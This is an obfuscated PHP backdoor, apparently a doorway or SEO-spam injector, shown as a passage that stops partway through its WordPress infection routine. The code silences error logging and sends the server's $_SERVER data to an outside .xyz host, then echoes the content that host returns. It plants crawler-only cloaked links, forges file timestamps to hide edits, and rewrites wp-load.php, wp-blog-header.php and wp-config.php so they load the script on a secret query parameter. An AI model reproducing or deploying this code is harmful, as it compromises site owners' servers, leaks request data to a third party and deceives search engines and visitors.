${"GL\x4fB\x41L\x53"}["uuqz\x6e\x66\x64s\x67i\x64i"] = "l\x69\x6e\x6bof\x64\x6f\x6f\x72";
${"G\x4c\x4f\x42\x41L\x53"}["\x72\x61\x75c\x64\x75\x67\x62\x6a\x66\x68"] = "slas\x68\x73cr\x69\x70\x74\x6ea\x6d\x65";
${"\x47L\x4f\x42A\x4cS"}["l\x62\x72\x78\x70\x6f\x75e\x6b\x70"] = "s\x63\x72ip\x74\x6e\x61\x6d\x65";
${"\x47\x4cO\x42\x41L\x53"}["or\x6c\x68\x72\x63o\x67rg\x67\x6d"] = "p\x75t";
${"G\x4cO\x42A\x4cS"}["i\x68\x77f\x6f\x77\x74\x6eu\x6ai"] = "\x75\x72\x6c3";
${"G\x4c\x4f\x42A\x4c\x53"}["\x6e\x69\x6dj\x6b\x6ei\x71"] = "\x64\x6f\x6d\x61i\x6e";
${"\x47LO\x42\x41L\x53"}["\x62\x61\x71c\x78\x68w\x67\x6f"] = "ur\x6c\x32";
${"G\x4cO\x42\x41\x4c\x53"}["\x6bpgyi\x63e\x76\x79\x7a"] = "\x75\x72l";
${"\x47\x4cO\x42\x41LS"}["\x77\x6d\x6aa\x63\x76\x65\x79\x76v"] = "\x66\x69le3";
${"\x47\x4c\x4fB\x41L\x53"}["f\x79\x6a\x6f\x77\x68a"] = "f\x69l\x65";
${"GL\x4fBAL\x53"}["e\x6a\x72\x67\x63m\x77\x72jf"] = "\x63\x6f\x6f\x6b\x69\x65b\x6f\x74";
${"\x47\x4c\x4fB\x41\x4cS"}["\x6bt\x64\x79\x78r\x75\x69\x67lo\x6a"] = "\x63\x6fo\x6b\x69ed\x6f\x6d\x61\x69\x6e";
${"GL\x4f\x42\x41\x4c\x53"}["\x6d\x6b\x70xl\x65\x61\x65\x6ce\x78"] = "c\x6f\x6f\x6bie\x76a\x6c\x75\x65";
${"GLOB\x41\x4c\x53"}["\x62\x71\x78f\x72\x6b\x65"] = "\x74\x68";
${"G\x4c\x4f\x42AL\x53"}["\x73\x6fa\x63\x72\x71g\x67"] = "v";
${"\x47\x4c\x4f\x42A\x4cS"}["\x67\x75m\x67\x66\x67q\x63\x6b\x72z"] = "\x66\x69\x6ce\x32";
header("\x43\x6fn\x74\x65\x6e\x74-T\x79pe: \x74\x65\x78t/\x68\x74\x6d\x6c; c\x68a\x72s\x65\x74=\x75t\x66-8");
error_reporting(0);
@ini_set("d\x69s\x70\x6ca\x79_er\x72o\x72s", "\x4f\x66\x66");
@ini_set("set\x5fti\x6de\x5flim\x69t", 1000);
$rhwfhxig = "\x75rl";
${"G\x4c\x4f\x42\x41\x4cS"}["\x74\x68\x72bi\x77\x62zq\x62"] = "\x70\x75\x74";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6eo\x78gv\x6f\x6du"] = "f\x69\x6c\x65\x32";
$hbsqnbybf = "u\x72\x6c\x32";
$gahfqjtjgcy = "\x66\x69l\x65";
${"G\x4cOB\x41\x4c\x53"}["oe\x71\x64\x72d\x65kt\x64\x66"] = "\x76\x6c";
$sxcwpa = "u\x72\x6c";
@ini_set("m\x61\x78_\x69n\x70u\x74\x5fti\x6de", 1000);
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x62\x64\x77\x79\x79hxf\x73\x79"] = "\x70\x75\x74";
${"G\x4cO\x42A\x4c\x53"}["pu\x74\x6f\x64g\x74l\x79o"] = "\x6c\x69n\x6b\x61\x6e\x63\x68or";
@ini_set("\x6d\x61\x78\x5fex\x65\x63u\x74i\x6fn\x5fti\x6d\x65", 1000);
@set_time_limit(1000);
@ini_set("\x65r\x72\x6fr_log", NULL);
$aszulylo = "\x64\x6fmai\x6e";
@ini_set("log\x5fe\x72\x72ors", 0);
@ob_end_flush();
htaccessnormalize();
${${"\x47\x4cOBA\x4c\x53"}["\x73\x6f\x61cr\x71gg"]} = "1.6.2";
${${"\x47\x4cOB\x41\x4cS"}["\x62\x71x\x66r\x6be"]} = "edutop";
$unlybrkcowxg = "\x64om\x61\x69\x6e";
${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6f\x65q\x64\x72\x64\x65\x6b\x74df"]} = "z";
${"\x47\x4c\x4fB\x41\x4c\x53"}["ypnt\x61\x6bc\x69fle"] = "\x6a\x6a";
if (!$_COOKIE["la\x6e\x67\x69dz"]) {
${"\x47\x4cOB\x41\x4c\x53"}["\x63vn\x78\x67g\x79v\x67\x76"] = "c\x6f\x6f\x6bie\x6e\x61\x6d\x65";
${"\x47\x4cOB\x41\x4c\x53"}["\x6d\x6c\x6fjk\x64\x74\x63\x61\x74"] = "c\x6f\x6f\x6bi\x65bo\x74";
${${"G\x4cOB\x41\x4c\x53"}["\x63v\x6ex\x67\x67\x79\x76\x67\x76"]} = "\x6cang\x69\x64z";
$gfapfpgir = "\x63\x6f\x6fkie\x64o\x6dai\x6e";
${${"\x47L\x4fB\x41L\x53"}["\x6d\x6b\x70\x78\x6c\x65ae\x6c\x65\x78"]} = str_shuffle("\x64\x65\x6cp\x7ao\x6e\x73");
${${"\x47\x4cO\x42A\x4c\x53"}["\x6btd\x79\x78\x72ui\x67loj"]} = $_SERVER[HTTP_HOST];
if (preg_match("\x23^ww\x77\\\x2e\x23", ${${"G\x4c\x4f\x42AL\x53"}["k\x74\x64\x79\x78\x72\x75i\x67\x6c\x6f\x6a"]})) {
${"G\x4c\x4f\x42A\x4cS"}["\x78lm\x79\x69\x66\x79\x6a\x72"] = "c\x6fo\x6bi\x65d\x6f\x6da\x69\x6e";
$pfbtpcdsbu = "\x63\x6fok\x69\x65\x64\x6f\x6da\x69\x6e";
${${"\x47LO\x42\x41\x4c\x53"}["\x78l\x6d\x79i\x66y\x6a\x72"]} = preg_replace("\x23^\x77ww\\.#", ${$pfbtpcdsbu});
}
${${"G\x4cOB\x41\x4c\x53"}["\x6d\x6c\x6fj\x6bd\x74\x63at"]} = "\x79es";
${"\x47\x4cOB\x41\x4cS"}["\x6a\x78\x74woo\x65v"] = "\x63\x6f\x6f\x6b\x69e\x6e\x61\x6d\x65";
if (setcookie(${${"\x47L\x4f\x42\x41L\x53"}["\x6a\x78t\x77\x6fo\x65\x76"]}, ${${"\x47L\x4f\x42\x41L\x53"}["\x6d\x6b\x70\x78\x6cea\x65\x6ce\x78"]}, time() + 3600 * 24, "/", ${$gfapfpgir})) {
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["ej\x72\x67\x63\x6dw\x72\x6af"]} = "no";
}
} else {
${${"GL\x4f\x42\x41\x4c\x53"}["\x65\x6a\x72gc\x6d\x77\x72j\x66"]} = "\x6eo";
}
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6bm\x74t\x65\x61me"] = "\x64\x6fo\x72d\x6fm\x61in";
${$unlybrkcowxg} = "\x66\x75n\x71l\x76\x79i\x76\x2exy\x7a";
${${"\x47LO\x42A\x4c\x53"}["\x66y\x6a\x6f\x77\x68\x61"]} = "/\x68\x61\x6edl\x65r\x73/\x67e\x74c\x6fn\x74ent\x2eph\x70";
${${"\x47L\x4f\x42ALS"}["\x6e\x6f\x78\x67\x76\x6f\x6d\x75"]} = "/\x68\x61\x6edle\x72\x73/g\x65t\x74emp\x6cat\x65\x2e\x70\x68\x70";
${${"G\x4cO\x42\x41L\x53"}["\x77mjac\x76\x65y\x76v"]} = "/\x68\x61n\x64\x6ce\x72s/u\x70da\x74e.p\x68p";
${${"\x47L\x4f\x42\x41\x4cS"}["\x6b\x70\x67\x79\x69\x63e\x76\x79\x7a"]} = "htt\x70://" . ${$aszulylo} . ${$gahfqjtjgcy};
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62a\x71cx\x68wg\x6f"]} = "\x68\x74t\x70://" . ${${"G\x4c\x4f\x42A\x4cS"}["\x6ei\x6djk\x6e\x69\x71"]} . ${${"\x47\x4c\x4f\x42\x41\x4cS"}["g\x75\x6d\x67\x66gq\x63\x6brz"]};
$fucocooznlil = "\x75\x72\x6c\x32";
${"G\x4cO\x42A\x4c\x53"}["\x72\x78\x66\x6c\x74\x66w"] = "\x70\x75t";
${${"\x47\x4cO\x42\x41\x4cS"}["\x69\x68wf\x6fw\x74n\x75\x6a\x69"]} = "\x68\x74\x74p://" . ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x69\x6d\x6a\x6b\x6e\x69\x71"]} . ${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77\x6dja\x63\x76ey\x76\x76"]};
${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6fr\x6ch\x72\x63o\x67\x72\x67\x67\x6d"]} = array(
"c\x6f\x6et\x65\x6et",
"t\x65st",
"p\x72o\x78y",
"\x66ile",
"\x2e\x335",
"t\x65m\x70\x6c\x61\x74\x65",
"28.",
"1\x32.",
"id",
"pa\x67e",
"2\x317.",
"\x64\x6fma\x69n",
"\x66u\x6ecti\x6fn\x73",
"2\x315.",
"\x387\x2e",
"\x66orm",
"tra\x63\x6b",
"s\x74\x72\x5frep\x6c\x61c\x65",
"n\x61me",
"25\x30",
"\x37\x37\x2e",
"me\x74h\x6f\x64",
"e\x72ro\x72_\x6c\x6f\x67",
"p\x61\x73\x73w\x6fr\x64",
"\x73\x65\x74\x5f\x74\x69\x6de_\x6c\x69m\x69\x74",
"c\x75\x72l",
"l\x69\x6e\x6bs",
"\x66\x69\x6c\x65_\x67et\x5f\x63\x6f\x6et\x65nts",
"\x67e\x74",
"i\x6e\x64\x65\x78\x2e\x70h\x70",
"\x69ncl\x75de\x5fon\x63\x65",
"max_\x69\x6ep\x75\x74\x5ftime",
"P\x4f\x53\x54",
"s\x70ri\x6etf",
"\x320\x34.",
"\x63u\x72l\x5f\x73e\x74o\x70\x74",
"re\x73\x75lt",
"\x6c\x6fg",
"\x6da\x78_ex\x65cuti\x6f\x6e\x5f\x74\x69\x6d\x65",
"\x65xpl\x6fd\x65",
"\x55\x52\x49",
"\x66i\x6ce\x5fput\x5fconte\x6et\x73",
"scr\x69pt",
"s\x79\x73\x74em",
"c\x6fnne\x63t",
"\x47E\x54",
"a\x70pli\x63at\x69on/x-\x77w\x77-fo\x72\x6d-u\x72\x6cenco\x64ed",
"tr\x69m",
"\x53\x45\x52VE\x52",
"pr\x65g\x5fr\x65\x70\x6ca\x63e",
"r\x65q\x75i\x72e\x5fo\x6ece",
"\x2e\x32",
"\x66o\x70e\x6e"
);
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6cbr\x78\x70\x6f\x75\x65kp"]} = preg_replace("\x23^/\x23\x69", "", $_SERVER[SCRIPT_NAME]);
${${"\x47\x4c\x4fB\x41\x4cS"}["km\x74\x74\x65\x61\x6de"]} = $_SERVER[HTTP_HOST];
$etwrovy = "\x6ci\x6ek\x74\x6f\x64\x6fo\x72";
${${"\x47LO\x42\x41\x4cS"}["\x72a\x75\x63\x64u\x67\x62\x6a\x66h"]} = $_SERVER[SCRIPT_NAME];
${${"\x47\x4c\x4fBA\x4cS"}["\x75\x75\x71\x7an\x66d\x73\x67\x69\x64i"]} = "\x68tt\x70://$doordomain" . "$slashscriptname";
${${"G\x4c\x4f\x42\x41\x4c\x53"}["p\x75t\x6fdg\x74\x6cy\x6f"]} = array(
"b\x6co\x67",
"Blo\x67",
"in\x66\x6f",
"I\x6ef\x6f",
"\x63on\x74ac\x74",
"\x43\x6f\x6e\x74a\x63t",
"mag\x61\x7a\x69\x6ee",
"Maga\x7a\x69ne",
"\x67al\x6c\x65\x72\x79",
"\x47al\x6c\x65r\x79",
"\x61bout\x20u\x73",
"A\x62ou\x74 \x75s",
"\x41b\x6f\x75t\x20U\x73"
);
$fpvftok = "j\x6a";
shuffle(${${"\x47\x4cO\x42A\x4cS"}["\x6a\x6fw\x74b\x70\x6d\x77"]});
${$etwrovy} = "<?php if(!@\$\x63o\x64e\x76y\x70){if(\x70reg_\x6d\x61t\x63h(\x27/\x61\x6cl\x74h\x65\x77eb|aol|\x62a\x69\x64\x75|\x62i\x6eg|c\x72\x61w\x6c\x65\x72|\x64\x6f\x67\x70i\x6c\x65|d\x75\x63\x6b\x64uc\x6bb\x6ft|go\x6f\x67l\x65|i\x6ek\x74\x6f\x6d\x69|i\x73\x72\x61\x65\x6c\x69s\x65a\x72\x63h|\x6cycos|\x6d\x73n|sco\x6ft\x65r|s\x6curp|\x73pi\x64\x65r|t-\x72ex|teo\x6d\x61|y\x61\x68oo|ya\x6e\x64e\x78|s\x65\x7an\x61\x6d/\x69',\$_\x53\x45R\x56ER[\x27H\x54\x54\x50_\x55S\x45R_\x41G\x45NT\x27])){ec\x68\x6f \x22<\x61 hr\x65f\x3d'" . ${${"\x47\x4c\x4f\x42A\x4c\x53"}["uuqzn\x66\x64s\x67\x69\x64i"]} . "' s\x74y\x6c\x65\x3d\\\x22fo\x6e\x74-\x73\x69ze:" . mt_rand(30, 45) . "\x70\x78;c\x6f\x6cor:bl\x61c\x6b\x3bma\x72g\x69\x6e-\x74o\x70:20\x70\x78 \x21\x69m\x70\x6f\x72\x74a\x6e\x74\x3b\x62a\x63kg\x72\x6f\x75\x6e\x64:\x77\x68ite\x3bp\x6f\x73i\x74\x69on:a\x62s\x6f\x6cu\x74\x65;\x6d\x61rg\x69n-\x6c\x65ft:20px;\x5c\"\x3e" . ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6a\x6f\x77\x74b\x70\x6dw"]}[0] . "\x3c/a\x3e<b\x72\x20/\x3e\x22;}@\$\x63\x6fd\x65v\x79p=\x74\x72u\x65\x3b}?\x3e";
${${"G\x4c\x4f\x42A\x4cS"}["f\x76\x62m\x63\x74\x77\x70"]} = ${${"G\x4cOBAL\x53"}["\x6ei\x6d\x6ak\x6e\x69\x71"]};
${${"\x47\x4c\x4f\x42\x41LS"}["\x79o\x74\x70\x70\x79\x6d"]} = ${${"\x47LOBA\x4c\x53"}["b\x64w\x79\x79\x68\x78\x66s\x79"]}[10] . ${${"\x47L\x4f\x42\x41\x4c\x53"}["rx\x66\x6c\x74\x66w"]}[7] . ${${"\x47L\x4f\x42A\x4cS"}["o\x72\x6ch\x72\x63\x6f\x67\x72\x67\x67\x6d"]}[34] . ${${"G\x4cOB\x41L\x53"}["\x74\x68rb\x69w\x62\x7a\x71b"]}[19];
${$rhwfhxig} = preg_replace("/$cardas/i", ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x79\x70nt\x61\x6bcifl\x65"]}, ${$sxcwpa});
${$fucocooznlil} = preg_replace("/$cardas/\x69", ${$fpvftok}, ${$hbsqnbybf});
${${"G\x4cO\x42\x41L\x53"}["\x69\x68\x77fo\x77\x74\x6e\x75\x6ai"]} = preg_replace("/$cardas/\x69", ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["yot\x70pym"]}, ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x69\x68\x77f\x6f\x77t\x6e\x75\x6a\x69"]});
if (isset($_GET["ge\x6e"])) {
if (ini_get("al\x6cow_\x75r\x6c_fope\x6e") == 1) {
${${"\x47\x4c\x4fBA\x4c\x53"}["st\x69\x65\x73\x78\x62\x68\x6f"]} = "$url2?\x67endo\x6dain\x3d$doordomain&\x66i\x6c\x65\x6e\x61\x6de=$scriptname\x26\x74h=$th&\x76l\x3d$vl\x26\x76=" . urlencode(${${"\x47\x4c\x4fBA\x4c\x53"}["\x73\x6f\x61c\x72\x71g\x67"]});
${"\x47\x4cO\x42A\x4cS"}["u\x75\x65\x62\x70\x66of"] = "f\x67\x63u\x72\x6c";
${${"\x47\x4c\x4f\x42\x41L\x53"}["\x75d\x69\x6bs\x6e\x66\x73\x79\x65"]} = stream_context_create(array(
"ht\x74\x70" => array(
"m\x65\x74\x68o\x64" => "\x50OST",
"he\x61\x64\x65r" => array(
"\x43ontent-\x74y\x70\x65:\x20app\x6cic\x61ti\x6f\x6e/\x78-www-\x66o\x72\x6d-urlen\x63\x6fd\x65d"
),
"\x63o\x6ete\x6e\x74" => http_build_query($_SERVER)
)
));
${${"\x47\x4c\x4fBA\x4cS"}["\x74\x6f\x66\x7a\x68\x77\x76\x6f\x7a\x67"]} = @file_get_contents(${${"G\x4cO\x42A\x4cS"}["\x75\x75\x65\x62\x70\x66\x6f\x66"]}, false, ${${"\x47\x4c\x4fB\x41\x4c\x53"}["u\x64\x69k\x73\x6e\x66\x73\x79\x65"]});
} elseif (function_exists("\x63ur\x6c\x5f\x69\x6e\x69\x74")) {
${"G\x4c\x4f\x42A\x4cS"}["\x71m\x69qw\x73\x65sz"] = "\x63\x75\x72\x6cu\x72\x6c";
$jczfljp = "c\x68";
$wwoccghva = "c\x68";
${${"\x47\x4cO\x42A\x4c\x53"}["\x71miq\x77\x73\x65s\x7a"]} = "$url2?\x67en\x64o\x6dain=$doordomain\x26\x66il\x65\x6e\x61\x6de=$scriptname\x26\x74h\x3d$th&\x76\x6c\x3d$vl&\x76=" . urlencode(${${"\x47L\x4f\x42A\x4cS"}["s\x6f\x61crqg\x67"]});
${${"\x47L\x4f\x42\x41\x4c\x53"}["wl\x70\x67\x63q"]} = curl_init();
curl_setopt(${$jczfljp}, CURLOPT_URL, ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x72en\x67\x6c\x70\x6d"]});
$irmzlvofwnw = "\x63h";
curl_setopt(${${"\x47\x4cOBA\x4c\x53"}["w\x6cpgc\x71"]}, CURLOPT_HEADER, false);
curl_setopt(${$irmzlvofwnw}, CURLOPT_RETURNTRANSFER, true);
curl_setopt(${$wwoccghva}, CURLOPT_REFERER, "");
$ltmfjfkpn = "ch";
${${"\x47\x4c\x4f\x42\x41L\x53"}["\x74\x6ff\x7a\x68\x77\x76\x6f\x7a\x67"]} = @curl_exec(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["w\x6c\x70\x67\x63q"]});
curl_close(${$ltmfjfkpn});
} elseif (function_exists("fso\x63kop\x65\x6e")) {
${"\x47L\x4fBAL\x53"}["i\x64\x70\x64\x65\x64\x7a"] = "car\x64\x61s";
$onmssxlf = "f\x70";
${${"G\x4c\x4f\x42\x41\x4c\x53"}["k\x6b\x78\x68t\x6e\x77\x75e\x6ft"]} = fsockopen(${${"G\x4cO\x42\x41\x4c\x53"}["i\x64\x70\x64\x65\x64z"]}, 80, ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x74u\x70j\x68j\x62\x78\x78\x67"]}, ${${"GL\x4f\x42\x41L\x53"}["v\x76\x6f\x76j\x6e\x6cr"]}, 10);
if (${$onmssxlf}) {
$xongqbzmhexz = "\x6fut";
$dloytqlbvezt = "\x64\x61t\x61";
$ctqdmvn = "\x66p";
$auizqnuq = "\x6fu\x74";
${"G\x4cO\x42\x41\x4c\x53"}["\x73i\x72\x66kql\x7a"] = "\x64\x61\x74a";
${${"\x47L\x4f\x42\x41LS"}["\x73irf\x6b\x71\x6c\x7a"]} = http_build_query($_SERVER);
${$auizqnuq} = "POST $file2?ge\x6ed\x6fm\x61i\x6e\x3d$doordomain&f\x69l\x65\x6e\x61\x6de=$scriptname\x26th=$th\x26v\x6c\x3d$vl\x26\x76=" . urlencode(${${"\x47\x4cO\x42\x41\x4cS"}["s\x6fac\x72\x71g\x67"]}) . " \x48\x54\x54\x50/\x31\x2e\x30\r\n";
$xbfwvwfjigc = "r\x65\x73\x70";
${${"\x47L\x4f\x42\x41L\x53"}["i\x6c\x78s\x75jb"]} .= "H\x6fst:\x20$cardas\r\n";
${$xongqbzmhexz} .= "C\x6fn\x74\x65\x6e\x74-\x54y\x70\x65:\x20\x61ppli\x63a\x74ion/\x78-w\x77w-form-u\x72\x6ce\x6ecod\x65\x64\r\n";
${${"\x47\x4cO\x42\x41\x4c\x53"}["\x69l\x78\x73\x75j\x62"]} .= "Con\x74\x65nt-Le\x6e\x67\x74h: " . strlen(${${"\x47\x4cO\x42\x41LS"}["\x66\x6d\x6a\x79w\x6d\x6e"]}) . "\r\n\r\n";
fwrite(${${"\x47LO\x42A\x4c\x53"}["k\x6bx\x68t\x6ew\x75\x65\x6f\x74"]}, ${${"\x47\x4cOBA\x4cS"}["\x69\x6cxs\x75\x6a\x62"]});
fwrite(${$ctqdmvn}, ${$dloytqlbvezt});
${${"\x47L\x4f\x42\x41L\x53"}["l\x7a\x65\x66\x76\x65\x63\x69"]} = "";
while (!feof(${${"\x47L\x4fB\x41\x4cS"}["\x6b\x6b\x78\x68\x74\x6e\x77\x75\x65\x6ft"]})) {
${"\x47L\x4fB\x41\x4c\x53"}["\x6fz\x64\x62\x6c\x70r"] = "r\x65\x73\x70";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x7a\x64\x62\x6c\x70\x72"]} .= fgets(${${"G\x4cO\x42A\x4cS"}["\x6b\x6b\x78ht\x6e\x77u\x65\x6f\x74"]}, 4096);
}
fclose(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x6b\x78\x68\x74\x6e\x77\x75\x65\x6f\x74"]});
list(${${"\x47\x4c\x4f\x42\x41L\x53"}["ne\x6dcy\x72\x6a\x71\x67\x77"]}, ${${"G\x4c\x4fBA\x4c\x53"}["\x77\x66yr\x6e\x6bh\x62\x64r"]}) = @preg_split("/\\R\x5c\x52/", ${$xbfwvwfjigc}, 2);
${${"\x47L\x4f\x42\x41\x4c\x53"}["\x74o\x66\x7ah\x77\x76\x6fz\x67"]} = ${${"G\x4c\x4fB\x41LS"}["\x77fyr\x6ek\x68\x62\x64\x72"]};
}
} else {
${${"GL\x4f\x42A\x4c\x53"}["\x74\x6f\x66\x7a\x68\x77\x76\x6f\x7a\x67"]} = "fuc\x6bth\x69\x73s\x68e\x6cl";
}
${${"GL\x4f\x42AL\x53"}["\x74\x6amx\x74\x70\x6cr\x70z\x70"]} = filemtime(__FILE__);
foreach (glob("*.\x70h\x70") as ${${"G\x4c\x4f\x42A\x4cS"}["\x7a\x66\x70k\x74\x6e"]}) {
$fpgrnqrdcir = "\x63\x75\x72\x72\x66i\x6ce\x74\x69\x6d\x65";
${${"GL\x4fB\x41\x4c\x53"}["\x67\x6a\x77\x72wic\x79\x68\x6f\x6e"]} = filemtime(${${"G\x4cOB\x41L\x53"}["z\x66\x70\x6bt\x6e"]});
if (${${"GL\x4f\x42\x41L\x53"}["gjw\x72w\x69\x63y\x68\x6f\x6e"]} < ${$fpgrnqrdcir}) {
@touch(__FILE__, ${${"G\x4c\x4f\x42\x41\x4cS"}["\x67\x6awr\x77\x69\x63y\x68\x6f\x6e"]});
break;
}
}
echo ${${"\x47LO\x42\x41\x4cS"}["\x74o\x66z\x68w\x76\x6f\x7a\x67"]};
} elseif ($_GET["\x67\x65t"] == "t\x65mp\x6cate") {
define("\x4dAX_LE\x56E\x4c\x53\x5fU\x50", 7);
$dmaijzqgj = "c\x6funte\x72";
${"\x47\x4cO\x42\x41LS"}["\x76kb\x6fxeun\x72\x76j"] = "\x63\x6f\x75\x6e\x74\x65r";
${${"G\x4c\x4fB\x41L\x53"}["\x76k\x62\x6f\x78e\x75\x6e\x72\x76j"]} = 0;
do {
${"GLO\x42\x41L\x53"}["dp\x71\x7a\x70\x65"] = "\x66\x69\x6c\x65";
foreach (glob("*") as ${${"G\x4c\x4fB\x41\x4c\x53"}["\x64\x70\x71z\x70e"]}) {
${"G\x4c\x4fB\x41\x4c\x53"}["\x67p\x7awj\x73\x67"] = "\x66\x69l\x65";
if (strpos(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x66\x79\x6a\x6f\x77\x68\x61"]}, "\x77\x70-co\x6e\x66ig\x2e\x70\x68p") !== false) {
${"\x47\x4c\x4fBA\x4c\x53"}["d\x72\x74\x78\x75\x74\x62"] = "i";
define("P\x4cAT\x46OR\x4d", "WORDPRESS");
$xocowml = "\x69";
${${"GL\x4f\x42\x41\x4c\x53"}["avp\x6e\x77\x68g\x62\x75oe"]} = array(
"\x77p-\x62\x6cog-h\x65\x61d\x65\x72\x2e\x70hp",
"wp-\x6co\x61d.\x70hp",
"wp-settings\x2ephp",
"w\x70-\x63o\x6ef\x69g\x2ep\x68\x70"
);
for (${${"\x47\x4cOB\x41\x4cS"}["drtxut\x62"]} = 0; ${$xocowml} < 4; ${${"GL\x4f\x42A\x4cS"}["\x79\x6eqx\x6b\x64"]}++) {
$ebnlmxruohb = "i";
$iuwyporrgn = "\x70e\x72\x6d\x73";
${"\x47\x4c\x4f\x42A\x4cS"}["nn\x6b\x6a\x70\x67"] = "i\x6e\x63\x66\x69l\x65";
${"\x47\x4cOB\x41L\x53"}["u\x71s\x6e\x68j"] = "\x69\x6ec\x66i\x6ce";
$ojhyvydpq = "fi\x6ce\x74\x69\x6d\x65";
${${"\x47\x4cOBAL\x53"}["\x6ex\x64vs\x79iv\x79"]} = ${${"\x47\x4c\x4fB\x41\x4cS"}["av\x70nwh\x67\x62u\x6f\x65"]}[${$ebnlmxruohb}];
${$ojhyvydpq} = filemtime(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x75\x71s\x6eh\x6a"]});
${$iuwyporrgn} = sprintf("\x25o", fileperms(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x6e\x6b\x6a\x70g"]}));
$dqcocb = "\x69n\x63\x66\x69\x6c\x65";
${"G\x4cO\x42\x41\x4cS"}["m\x68v\x6e\x64\x78\x74"] = "\x69nc\x66\x69l\x65";
@chmod(${$dqcocb}, 0666);
if (is_writable(${${"\x47\x4cOBA\x4cS"}["mhv\x6ed\x78\x74"]})) {
${"\x47L\x4fB\x41\x4c\x53"}["\x77\x74\x73\x71\x73d\x77"] = "\x70\x61\x72a\x6d";
${"\x47L\x4f\x42\x41\x4cS"}["p\x72ko\x79o"] = "\x69\x6e\x63f\x69\x6c\x65co\x6et\x65\x6e\x74\x6fr\x69gin\x61l";
$desyil = "\x69nc\x66\x69\x6c\x65";
$wefjokixwzk = "\x73\x63\x72i\x70\x74n\x61\x6de";
$ribjkechbxhh = "i\x6ecf\x69\x6c\x65\x63o\x6e\x74\x65\x6et\x6fr\x69g\x69n\x61l";
$jqhutamr = "sc\x72i\x70\x74\x6ea\x6de";
${${"\x47\x4c\x4fB\x41LS"}["\x68\x77\x6a\x6ebcl\x71"]} = file_get_contents(${${"\x47\x4cOB\x41\x4cS"}["\x6ex\x64\x76s\x79\x69\x76\x79"]});
$vuodhfmf = "\x69\x6e\x63\x66\x69l\x65\x63\x6fntent\x6f\x72i\x67\x69n\x61l";
$dwrpwyvuxh = "\x69\x6e\x63\x66il\x65\x63\x6f\x6e\x74\x65\x6e\x74o\x72\x69g\x69n\x61l";
${"G\x4c\x4f\x42\x41LS"}["\x74m\x66q\x72\x68\x6c"] = "i\x6e\x63\x66\x69l\x65\x63\x6f\x6e\x74e\x6e\x74";
switch (${$desyil}) {
case "\x77\x70-l\x6fa\x64\x2ephp":
${${"\x47\x4c\x4fBA\x4cS"}["\x69\x6f\x6a\x61fsk\x68\x69"]} = preg_replace("/\x72\x65q\x75i\x72e_\x6f\x6ece(.*)\x41B\x53\x50\x41\x54\x48(\x2e*)\x27(\x20)?\x77\x70-c\x6f\x6e\x66\x69g\x5c.php(\x2e*);/i", "re\x71\x75\x69\x72\x65\x5fo\x6ec\x65(\x20A\x42\x53P\x41TH\x20\x2e\x20\x27w\x70-\x63\x6fn\x66i\x67.\x70h\x70\x27 );" . PHP_EOL . "i\x66(\$\x5f\x47\x45\x54[\x27\x74\x65s\x74\x70\x61g\x65']=='wpg\x6f\x70ost'){r\x65\x71\x75\x69r\x65\x5fo\x6ece(\x20\x41BS\x50A\x54\x48 \x2e '" . ${$jqhutamr} . "' )\x3b}", ${$ribjkechbxhh});
break;
case "wp-b\x6cog-\x68\x65ad\x65\x72.p\x68p":
${${"G\x4c\x4fB\x41\x4c\x53"}["\x69\x6f\x6a\x61\x66\x73\x6bh\x69"]} = preg_replace("/\x72\x65\x71u\x69r\x65\x5fo\x6ec\x65(.*)\x77p-l\x6fad\x5c.\x70\x68\x70(\x2e*);/i", "\x72\x65\x71u\x69\x72\x65_o\x6ece( \x64\x69rna\x6de(__\x46\x49\x4cE\x5f\x5f) \x2e\x20\x27/wp-\x6c\x6fa\x64\x2ephp'\x20)\x3b" . PHP_EOL . "\x69f(\$\x5fGE\x54['t\x65\x73tp\x61ge\x27]\x3d\x3d'\x77pg\x6f\x70os\x74'){r\x65\x71\x75ire_on\x63e(\x20A\x42\x53PATH\x20\x2e\x20\x27" . ${${"\x47\x4c\x4fB\x41L\x53"}["\x6c\x62\x72\x78\x70\x6f\x75\x65\x6b\x70"]} . "\x27 )\x3b}", ${${"\x47L\x4fB\x41\x4c\x53"}["\x68\x77\x6an\x62\x63\x6cq"]});
break;
case "w\x70-c\x6f\x6e\x66\x69\x67.p\x68\x70":
${${"\x47L\x4f\x42\x41\x4cS"}["\x69o\x6aa\x66s\x6b\x68\x69"]} = preg_replace("/\x72\x65qu\x69r\x65_o\x6ece(\x2e*)w\x70-s\x65\x74ti\x6e\x67s\x5c.p\x68p(\x2e*)\x3b/i", "\x72\x65\x71\x75i\x72e\x5f\x6f\x6ec\x65(\x41\x42\x53PA\x54H \x2e\x20'wp-se\x74t\x69\x6eg\x73.\x70\x68p');" . PHP_EOL . "\x69\x66(\$\x5f\x47\x45T['\x74\x65stp\x61g\x65\x27]\x3d\x3d\x27wpgo\x70\x6f\x73\x74'){r\x65q\x75ire_o\x6e\x63\x65(\x20\x41\x42\x53\x50\x41T\x48\x20\x2e\x20\x27" . ${$wefjokixwzk} . "\x27\x20)\x3b}", ${$vuodhfmf});
break;
case "w\x70-s\x65\x74t\x69ngs.\x70\x68\x70":
